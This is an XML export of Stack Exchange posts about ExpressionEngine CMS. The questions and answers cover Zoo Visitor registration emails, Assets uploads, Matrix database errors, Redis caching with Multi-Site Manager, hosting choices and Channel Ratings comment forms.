  <row Id="30449" PostTypeId="1" CreationDate="2015-03-10T08:29:46.927" Score="1" ViewCount="31" Body="&lt;p&gt;I have several zoo visitor registration forms - one for each of three different member groups. I need to set up different notification templates in Postmaster as the custom fields for each type of member are very different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Hooks instead of Parcels as Parcels didnt send on registration - only for update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unlike Parcels, Hooks dont appear to have any way to select member groups or statuses so I cant see how I can trigger the relevant hook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried &lt;code&gt;{if member:group_id == '6'}TRUE{/if}&lt;/code&gt; in the Extra Conditionals field but it does nothing - the notification goes out whether the member group ID is correct or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="305" LastActivityDate="2015-03-10T08:29:46.927" Title="Different Postmaster Emails for different Zoo Visitor group registrations" Tags="|zoo-visitor|postmaster|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30450" PostTypeId="1" AcceptedAnswerId="30475" CreationDate="2015-03-10T08:45:36.210" Score="1" ViewCount="1495" Body="&lt;p&gt;I have the following in a Zoo Visitor Update form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;label class=&quot;control-label&quot; for=&quot;member_photo&quot;&amp;gt;Performer / Band Photo&amp;lt;/label&amp;gt;&#xA;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;member_photo[]&quot; value=&quot;0&quot;/&amp;gt;&#xA;&#xA;    {member_photo}&amp;lt;div&amp;gt;&amp;lt;img src=&quot;{url}&quot; width=&quot;150&quot; /&amp;gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;member_photo[]&quot; value=&quot;{file_id}&quot;/&amp;gt; (To delete this just remove the hidden input for this image)&amp;lt;/div&amp;gt;{/member_photo}&#xA;&#xA;    &amp;lt;p&amp;gt;&amp;lt;input type=&quot;file&quot; name=&quot;member_photo[]&quot; id=&quot;member_photo&quot; multiple&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;member_photo_filedir&quot; value=&quot;8&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I need users to be able to remove images as well as adding new ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As per the bracketed comment, P&amp;amp;T have suggested that in order to remove the input I need something like a 'delete' checkbox that toggles the name of the input but this is beyond my limited js-fu and will no doubt be useful to others too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any jquery ninjas able to offer up a solution?&lt;/p&gt;&#xA;" OwnerUserId="305" LastActivityDate="2015-07-22T14:14:48.730" Title="Delete Assets input fields in a front-end form" Tags="|assets|forms|zoo-visitor|jquery|javascript|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30451" PostTypeId="1" CreationDate="2015-03-10T08:48:13.813" Score="0" ViewCount="92" Body="&lt;p&gt;We have a site with 1 products channel and the URL's are constructed from the categories that the products fall into e.g.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/template_group/category_parent/category_child/title&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is all fine when generating links (via conditionals based on segments) within an exp:channel:entries tag however on the search results page I'm at a loss as to how to get the appropriate parent and child category entries into the URL to each result. &#xA;Can anyone suggest an approach?!&lt;/p&gt;&#xA;" OwnerUserId="3835" LastActivityDate="2016-06-13T06:50:05.907" Title="Search Results with category based URLs" Tags="|categories|search|gwcode-categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30453" PostTypeId="2" ParentId="30451" CreationDate="2015-03-10T09:16:45.887" Score="0" Body="&lt;p&gt;OK - I found a solution using the {categories} tags...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;a href=&quot;/template_group{categories limit=&quot;1&quot;}/{category_url_title}{/categories}/{url_title}&lt;/code&gt;&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3835" LastActivityDate="2015-03-10T09:16:45.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30454" PostTypeId="1" AcceptedAnswerId="30460" CreationDate="2015-03-10T09:35:39.590" Score="0" ViewCount="120" Body="&lt;p&gt;I am using version 2.9.2 EE and Matrix 2.6.1 (both the latest versions of each software). Each time I try to publish a channel entry that has a Matrix fieldtype I am getting the following error message. Can anyone assist me with why I am getting this error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nx1Yn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A Database Error Occurred&#xA;Error Number: 1054&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unknown column 'is_draft' in 'where clause'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SELECT row_id, col_id_1, col_id_2, col_id_3, col_id_4, col_id_5 FROM exp_matrix_data WHERE field_id = 105 AND entry_id = 937 AND is_draft = 0 ORDER BY row_order ASC&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Filename: third_party/matrix/ft.matrix.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Line Number: 3044&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1916" LastActivityDate="2015-03-10T14:39:58.230" Title="Matrix &amp; EE 2.9.2 SQL Error" Tags="|channel-entries|matrix|pixelandtonic|file-uploads|sql|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30455" PostTypeId="1" CreationDate="2015-03-10T11:11:35.430" Score="0" ViewCount="472" Body="&lt;p&gt;Adding new channel fields always says &lt;strong&gt;&quot;The page you requested was not found.&quot;&lt;/strong&gt; but editing fields works fine. Everything is working until we installed Profile:Edit module and even uninstalling it did not do the trick. Any ideas guys? Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="3636" LastEditorUserId="3636" LastEditDate="2015-03-10T12:54:27.713" LastActivityDate="2015-03-10T12:54:27.713" Title="Creating new channel field error: The page you requested was not found" Tags="|ee2|channel|channel-fields|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="30456" PostTypeId="2" ParentId="30400" CreationDate="2015-03-10T11:44:27.123" Score="1" Body="&lt;p&gt;Well, just to answer this, as I bought the plugin:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Not sure if it's still supported. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I was able to use segment / embed variables to specify unique cache names, so I could cache part / all of a template to a unique ID based on the specific incoming url. That was perfect for my purposes&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;the php does not get parsed but is part of the cached file.  So you see all the EE code / queries are parsed and executed, but the php is still parsed last.  Still, this seems to speed things up pretty much, at least in my case.  The EE queries seem to be the biggest resource hogs.  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;One thing I did notice was that some &quot;layout&quot; variables didn't like being inside the cache tags, but I didn't investigate enough to see if there's a workaround.  I didn't need to cache those. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, the plugin works well for my application, I suspect most sites would gain something by using it.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;-jim&lt;/p&gt;&#xA;" OwnerUserId="3703" LastActivityDate="2015-03-10T11:44:27.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30457" PostTypeId="1" CreationDate="2015-03-10T12:00:51.447" Score="0" ViewCount="315" Body="&lt;p&gt;I'm trying to upload some files to EE via Assets but they keep failing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the response:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Could not upload the file - server returned an unexpected response.&#xA;  Please check the server settings.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And this is the response in Console:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://xxxxxxxx.co.uk/index.php?folder=4&amp;amp;ACT=20&amp;amp;qqfile=favicon.png&quot; rel=&quot;nofollow&quot;&gt;http://xxxxxxxx.co.uk/index.php?folder=4&amp;amp;ACT=20&amp;amp;qqfile=favicon.png&lt;/a&gt;&#xA;  403 (Forbidden)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I've tried a few things...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Changed permissions on folders (And sub folders) in my uploads folder to 777&lt;/li&gt;&#xA;&lt;li&gt;Changed permissions on Cache folder (And sub folders) to 777&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I also double checked the upload path and upload URL and it's correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I upload the files via FTP and then update the Indexes via Assets it syncs perfectly, but they won't upload via the CMS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="362" LastActivityDate="2015-03-10T12:00:51.447" Title="Assets Upload Failing" Tags="|assets|file-uploads|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30458" PostTypeId="1" AcceptedAnswerId="30484" CreationDate="2015-03-10T13:53:10.007" Score="0" ViewCount="80" Body="&lt;p&gt;I'm trying to figure out a way to display and not have a profile:edit field be editable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I try and remove the {custom_fields} tag and add each input field separately, the data won't save.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clue how to do this?&lt;/p&gt;&#xA;" OwnerUserId="973" LastActivityDate="2015-03-11T15:17:51.693" Title="Display, don't edit Profile:Edit field" Tags="|profile-edit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30459" PostTypeId="2" ParentId="23650" CreationDate="2015-03-10T14:32:44.493" Score="1" Body="&lt;p&gt;The Channel Entries tag can also take &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/dynamic_parameters.html&quot; rel=&quot;nofollow&quot;&gt;Dynamic Parameters&lt;/a&gt;. You specify which ones you would like to allow to be configured from GET/POST with the &lt;code&gt;dynamic_parameters=&lt;/code&gt; Channel Entries tag parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need maximum control—essentially control of the tag itself—via the URL, this is the way to go. It's not for every use case, as @james-smith points out above, the Channel Entries tag does a lot for you automatically without usurping control of the tag. But in instances where you want to usurp that control to the URL, it can be very handy.&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2015-03-10T14:32:44.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30460" PostTypeId="2" ParentId="30454" CreationDate="2015-03-10T14:39:58.230" Score="1" Body="&lt;p&gt;You're missing a database column that was added in Matrix version 2.5 for compatibility with Better Workflow. It sounds like you may have updated the files for that add-on but not triggered the update by visiting Add-Ons &gt; Fieldtypes &gt; Matrix to trigger Matrix’s update script.&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2015-03-10T14:39:58.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30461" PostTypeId="1" CreationDate="2015-03-10T16:15:09.223" Score="1" ViewCount="67" Body="&lt;h2&gt;Overview&lt;/h2&gt;&#xA;&lt;h3&gt;Current System&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;EE 2.9.2&lt;/li&gt;&#xA;&lt;li&gt;MSM 2.1.7 Build: 20140715&lt;/li&gt;&#xA;&lt;li&gt;Redis server v. 2.8&lt;/li&gt;&#xA;&lt;li&gt;Current cache driver is set to Redis&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;We have enabled EE to use native redis caching and have found that when we manually clear native cache, following the steps below, that the key values in redis related to the primary site are cleared, but remain intact for the current msm instance.&lt;/p&gt;&#xA;&lt;h3&gt;1. Steps To Reproduce Bug&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Visit the control panel&lt;/li&gt;&#xA;&lt;li&gt;Switch to a msm site from the top right of the screen&lt;/li&gt;&#xA;&lt;li&gt;Go to Tools &amp;gt; Data &amp;gt; Clear Caching&lt;/li&gt;&#xA;&lt;li&gt;Select all caches from the list&lt;/li&gt;&#xA;&lt;li&gt;Click Submit&lt;/li&gt;&#xA;&lt;li&gt;Review Redis key values&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3&gt;2. Expected Behavior&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Redis key values related to the currently selected msm are cleared&lt;/li&gt;&#xA;&lt;li&gt;Redis key values for other msm sites remain intact&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3&gt;3. Buggy Behavior&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Keys related to the primary msm site are cleared&lt;/li&gt;&#xA;&lt;li&gt;Keys related to the current msm instance still exist&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Has anyone else experienced this behavior?&lt;/p&gt;&#xA;" OwnerUserId="3155" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2015-03-10T16:16:42.277" Title="Manually Clearing Native Cache Only Clearing Primary Site, Not Current MSM Instance" Tags="|multi-site-manager|cache|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30463" PostTypeId="2" ParentId="29046" CreationDate="2015-03-10T17:15:26.237" Score="0" Body="&lt;p&gt;Turns out {member_total} was correctly counting the total members at over 10,000, the font was just the same as the background colour, so the last digit was just hidden.  &lt;/p&gt;&#xA;" OwnerUserId="984" LastActivityDate="2015-03-10T17:15:26.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30464" PostTypeId="1" AcceptedAnswerId="30492" CreationDate="2015-03-10T17:38:01.333" Score="0" ViewCount="60" Body="&lt;p&gt;I have channel ratings in place from dev demon (4.0.8) and running on EE 2.9.2, using the default code supplied in the docs as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel_ratings:rating_comment_avg entry_id=&quot;{entry_id}&quot;}&#xA;    &amp;lt;ul&amp;gt;&#xA;        &amp;lt;li&amp;gt;Value For Money: {rating:value_for_money:stars} ({rating:value_for_money:avg} of 5)&amp;lt;/li&amp;gt;&#xA;         &amp;lt;li&amp;gt;Taste: {rating:taste:stars} ({rating:taste:avg} of 5)&amp;lt;/li&amp;gt;&#xA;         &amp;lt;li&amp;gt;Quality: {rating:quality:stars} ({rating:quality:avg} of 5)&amp;lt;/li&amp;gt;&#xA;         &amp;lt;li&amp;gt;OVERALL: {rating:overall:stars} ({rating:overall:avg} of 5)&amp;lt;/li&amp;gt;&#xA;     &amp;lt;/ul&amp;gt;&#xA;{/exp:channel_ratings:rating_comment_avg}&#xA;&#xA;{exp:comment:form channel=&quot;products&quot; rating:collection=&quot;products&quot; entry_id=&quot;{entry_id}&quot; dynamic=&quot;off&quot; rating:enabled=&quot;yes&quot;}&#xA;    {if rating:already_rated} You have already reviewed this product.{/if}&#xA;    {if rating:not_rated} &#xA;         &amp;lt;label for=&quot;name&quot;&amp;gt;Name:&amp;lt;/label&amp;gt; &amp;lt;input type=&quot;text&quot; name=&quot;name&quot; value=&quot;{screen_name}&quot; size=&quot;50&quot; /&amp;gt;&amp;lt;br /&amp;gt;&#xA;         &amp;lt;label for=&quot;email&quot;&amp;gt;Email:&amp;lt;/label&amp;gt; &amp;lt;input type=&quot;text&quot; name=&quot;email&quot; value=&quot;{email}&quot; size=&quot;50&quot; /&amp;gt;&amp;lt;br /&amp;gt;      &#xA;        {rating:fields}&#xA;            &amp;lt;label&amp;gt;{rating:field_title}&amp;lt;/label&amp;gt;&#xA;             &amp;lt;select name=&quot;{rating:form_name}&quot;&amp;gt;&#xA;                 &amp;lt;option value=&quot;1&quot;&amp;gt;1&amp;lt;/option&amp;gt;&#xA;                 &amp;lt;option value=&quot;2&quot;&amp;gt;2&amp;lt;/option&amp;gt;&#xA;                  &amp;lt;option value=&quot;3&quot;&amp;gt;3&amp;lt;/option&amp;gt;&#xA;                  &amp;lt;option value=&quot;4&quot;&amp;gt;4&amp;lt;/option&amp;gt;&#xA;                  &amp;lt;option value=&quot;5&quot;&amp;gt;5&amp;lt;/option&amp;gt;&#xA;              &amp;lt;/select&amp;gt;&#xA;         {/rating:fields}&#xA;&#xA;        &amp;lt;label&amp;gt;Review&amp;lt;/label&amp;gt;&#xA;         &amp;lt;textarea name=&quot;comment&quot; cols=&quot;70&quot; rows=&quot;2&quot;&amp;gt;&amp;lt;/textarea&amp;gt; &amp;lt;br /&amp;gt;&#xA;         &amp;lt;input type=&quot;submit&quot; value=&quot;Submit Review&quot;&amp;gt;&#xA;    {/if}&#xA;{/exp:comment:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I take out the variable &quot;rating enabled=yes&quot; from that form, the comments form renders perfectly. Once I put this in the form as above, I get no form rendered at all. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My channel allows comments (even said 'allow guests' for the laugh) and the form appears, and my admin panel renders the module information correctly, so I know my themes are in the right spot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something? If so, I would love a tip-off on what's wrong.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edited for my comment below: I can enter information as a guest if I allow guests and I can rate items, but this is not showing up in my module's home page. &lt;/p&gt;&#xA;" OwnerUserId="99" LastEditorUserId="55" LastEditDate="2015-03-12T12:04:41.517" LastActivityDate="2015-03-12T12:04:41.517" Title="Does channel ratings (4.0.8) work with EE version 2.9.2?" Tags="|devdemon|channel-ratings|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30466" PostTypeId="1" CreationDate="2015-03-10T18:53:31.047" Score="0" ViewCount="716" Body="&lt;p&gt;Whats the best hosting for Expression Engine sites? &lt;/p&gt;&#xA;" OwnerUserId="3636" LastActivityDate="2015-03-10T23:43:55.903" Title="Best Hosting for Expression Engine?" Tags="|ee2|hosting|" AnswerCount="2" CommentCount="1" ClosedDate="2015-03-11T14:08:28.853" ContentLicense="CC BY-SA 3.0" />
  <row Id="30468" PostTypeId="1" CreationDate="2015-03-10T20:47:39.107" Score="0" ViewCount="49" Body="&lt;p&gt;Im attempting to update page content (template content more specifically) in vim over ssh and have experienced trouble with the changes being committed. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;For example:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I have a common footer template where I am changing some information. Through ssh, I navigate to the file, open in vim, and write the changes. &lt;em&gt;everything is ok to this point&lt;/em&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I go to the website and the change &lt;strong&gt;has not&lt;/strong&gt; been committed… even with hard refresh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, if I navigate to the same footer file in the web interface, the change still isn't present. If I go ahead and make the change there, as you would imagine, it works just fine. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;So my question is:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Is there some cache setting or configuration option that makes editing the template files directly on the server as functional as committing changes through the gui?&lt;/p&gt;&#xA;" OwnerUserId="3743" LastActivityDate="2015-03-10T20:57:42.277" Title="Update page content via ssh rather than web interface" Tags="|templates|server|content|workflow|template-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30469" PostTypeId="2" ParentId="30468" CreationDate="2015-03-10T20:57:42.277" Score="1" Body="&lt;p&gt;1) Verify the template files system path is correct:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Design &gt; Templates &gt; Global Preferences&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Generally speaking, you can clear the current cache by navigating to &quot;Tools &gt; Data &gt; Clear Caching&quot;. You can also try deleting all of the cache files in the /system/expressionengine/cache/ folder but I haven't tried that for this type of scenario.&lt;/p&gt;&#xA;" OwnerUserId="339" LastActivityDate="2015-03-10T20:57:42.277" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30470" PostTypeId="2" ParentId="30466" CreationDate="2015-03-10T21:31:20.643" Score="0" Body="&lt;p&gt;Any Linux based server will do but I generally choose Amazon Web Services for enterprise level sites; although I personally run a church based site successfully on a $5 DigitalOcean droplet:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://digitalocean.com&quot; rel=&quot;nofollow&quot;&gt;http://digitalocean.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://aws.amazon.com/&quot; rel=&quot;nofollow&quot;&gt;http://aws.amazon.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As of now the only hosting companies that I avoid are the &quot;no-names&quot; and Bluehost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that if you don't have much hosting experience, you're probably better off with a hosting provider that has a &quot;Control Panel&quot; that makes it easy to setup FTP access. MediaTemple utilizes a service called Plesk which is robust and fairly intuitive to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://mediatemple.com&quot; rel=&quot;nofollow&quot;&gt;http://mediatemple.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="339" LastEditorUserId="339" LastEditDate="2015-03-10T21:38:23.107" LastActivityDate="2015-03-10T21:38:23.107" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30471" PostTypeId="2" ParentId="28357" CreationDate="2015-03-10T21:59:22.513" Score="1" Body="&lt;p&gt;Another option would to go with a &lt;a href=&quot;https://eeblocks.com&quot; rel=&quot;nofollow&quot;&gt;Blocks&lt;/a&gt; or &lt;a href=&quot;http://www.krea.com/content-elements&quot; rel=&quot;nofollow&quot;&gt;Content Elements&lt;/a&gt; approach, where your content is actually a list of content building blocks. Then you can have any combination: text-ad-text, text-ad-ad-text, text-ad-text-ad-text, text-somethingelse-text-ad-text, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The value of that is that editors can just click on an &quot;Ad&quot; button, instead of needing to remember that the syntax is &lt;code&gt;{advertisement}&lt;/code&gt; to include an advertisement. And you can have a little bit more flexibility (especially if you need multiple ads).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Disclosure: I wrote Blocks.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="26" LastActivityDate="2015-03-10T21:59:22.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30472" PostTypeId="2" ParentId="30466" CreationDate="2015-03-10T23:38:06.147" Score="1" Body="&lt;p&gt;I personally use Nexcess.&#xA;A hosting solution that’s right for ExpressionEngine, plus they are EllisLab's Official Enterprise Hosting Partner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.nexcess.net/expressionengine/hosting&quot; rel=&quot;nofollow&quot;&gt;https://www.nexcess.net/expressionengine/hosting&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="48" LastEditorUserId="48" LastEditDate="2015-03-10T23:43:55.903" LastActivityDate="2015-03-10T23:43:55.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30473" PostTypeId="1" CreationDate="2015-03-11T00:07:45.867" Score="1" ViewCount="1017" Body="&lt;p&gt;I'm referring to &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#id146&quot; rel=&quot;nofollow&quot;&gt;EE docs on categories looping pair&lt;/a&gt; within channel entries tag.  I'm looking for a count and total count param.  Is there a way to pull this information out?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code -- I'd like to have a count within the wrapped {categories} {/categories} tag pair:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;              {exp:channel:entries&#xA;                    channel=&quot;division&quot;&#xA;                    orderby=&quot;title&quot;&#xA;                    sort=&quot;asc&quot;&#xA;                    entry_id=&quot;not 3870&quot;&#xA;                    status=&quot;open|closed&quot;&#xA;                    {global:disable_default}&#xA;                    }&#xA;                        &amp;lt;li class=&quot;{title}&quot;&amp;gt; &#xA;                            &amp;lt;a&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;                            &amp;lt;div class=&quot;nav_dropdown&quot;&amp;gt;&#xA;                            {division_tagline}&#xA;                            &amp;lt;hr/&amp;gt;&#xA;&#xA;                            {categories}&#xA;                              &amp;lt;div id=&quot;sport_group&quot; class=&quot;{title}-width&quot;&amp;gt;  &#xA;                                &amp;lt;h3&amp;gt;{category_name}&amp;lt;/h3&amp;gt;&#xA;&#xA;                                    {exp:playa:children site=&quot;nxtsports&quot; status=&quot;open|closed&quot; field=&quot;division_brands&quot; disable=&quot;&quot; category=&quot;{category_id}&quot;}&#xA;                                        &amp;lt;a href=&quot;{brand_url}&quot; target=&quot;blank&quot;&amp;gt;&amp;lt;img class=&quot;brand_logo&quot; src=&quot;{brand_logo}&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;                                    {/exp:playa:children}&#xA;                                &amp;lt;/div&amp;gt;&#xA;                            {/categories}&#xA;&#xA;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;/li&amp;gt;   &#xA;                {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6096" LastEditorUserId="6096" LastEditDate="2015-03-12T14:31:45.823" LastActivityDate="2016-01-14T18:57:23.403" Title="Can you get a categories count within the channel entries tag?" Tags="|categories|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30474" PostTypeId="1" AcceptedAnswerId="30476" CreationDate="2015-03-11T00:12:12.227" Score="0" ViewCount="95" Body="&lt;p&gt;On a product info/detail page, the sidebar is showing &quot;related products&quot; which are selected in the CP via Playa. I have them showing up properly but the Add to Cart button doesn't work right &lt;strong&gt;if the product has modifiers&lt;/strong&gt;. When clicked, the page doesn't go to the return URL set in the return parameter of the &lt;code&gt;{exp:store:product}&lt;/code&gt; tag pair. Instead, it goes to the same product URL but no content shows up. If the product does &lt;strong&gt;not&lt;/strong&gt; have modifiers, it gets added to the cart correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code for the related products that show up in the sidebar:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if wine_related_wines}&#xA;          &amp;lt;h3&amp;gt;You May Also Enjoy&amp;lt;/h3&amp;gt;&#xA;          {exp:playa:children &#xA;            channel=&quot;shop_wines&quot; &#xA;            var_prefix=&quot;w&quot;}&#xA;&#xA;            {exp:store:product entry_id=&quot;{w:entry_id}&quot; return=&quot;cart&quot;}&#xA;              &amp;lt;div class=&quot;cta&quot;&amp;gt;&#xA;                &amp;lt;h5 class=&quot;wine-name-price&quot;&amp;gt;&#xA;&#xA;                    &amp;lt;a href=&quot;/shop/wines/{w:url_title}&quot;&amp;gt;&#xA;                      &amp;lt;span&amp;gt;{w:wine_year} {w:wine_varietal}&amp;lt;/span&amp;gt; &#xA;                      {w:wine_vineyard}{w:title}{/w:wine_vineyard} &#xA;                      {w:wine_title_suffix}&#xA;                      &amp;lt;span class=&quot;price&quot;&amp;gt;&#xA;                        {if &quot;{w:wine_details:price}&quot; == &quot;$0.00&quot;}&#xA;&#xA;                          {modifiers}&#xA;                            {if modifier_type == 'var'}&#xA;                              {modifier_options limit=&quot;1&quot;}&#xA;                                ${price_inc_mod_val}&#xA;                              {/modifier_options}&#xA;                            {/if}&#xA;                          {/modifiers}&#xA;                        {/if}&#xA;                        {if &quot;{w:wine_details:price}&quot; != &quot;$0.00&quot;}&#xA;                          {w:wine_details:price}&#xA;                        {/if}&#xA;                      &amp;lt;/span&amp;gt; &#xA;                    &amp;lt;/a&amp;gt;&#xA;                &amp;lt;/h5&amp;gt;&#xA;&#xA;                &amp;lt;input type=&quot;hidden&quot; name=&quot;item_qty&quot; value=&quot;1&quot;&amp;gt;&#xA;                &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Add to Cart&quot; class=&quot;button tiny&quot;&amp;gt;&#xA;              &amp;lt;/div&amp;gt;&#xA;            {/exp:store:product}&#xA;          {/exp:playa:children} &#xA;        {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried changing &lt;code&gt;{price_inc_mod_val}&lt;/code&gt; to just &lt;code&gt;{price_mod}&lt;/code&gt; but that doesn't help. I'm sure I'm missing something simple here.&lt;/p&gt;&#xA;" OwnerUserId="132" LastActivityDate="2015-03-11T01:24:41.800" Title="&quot;Related products&quot; add to cart button in sidebar not adding to cart (Exp:resso Store)" Tags="|expresso-store|shopping-cart|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
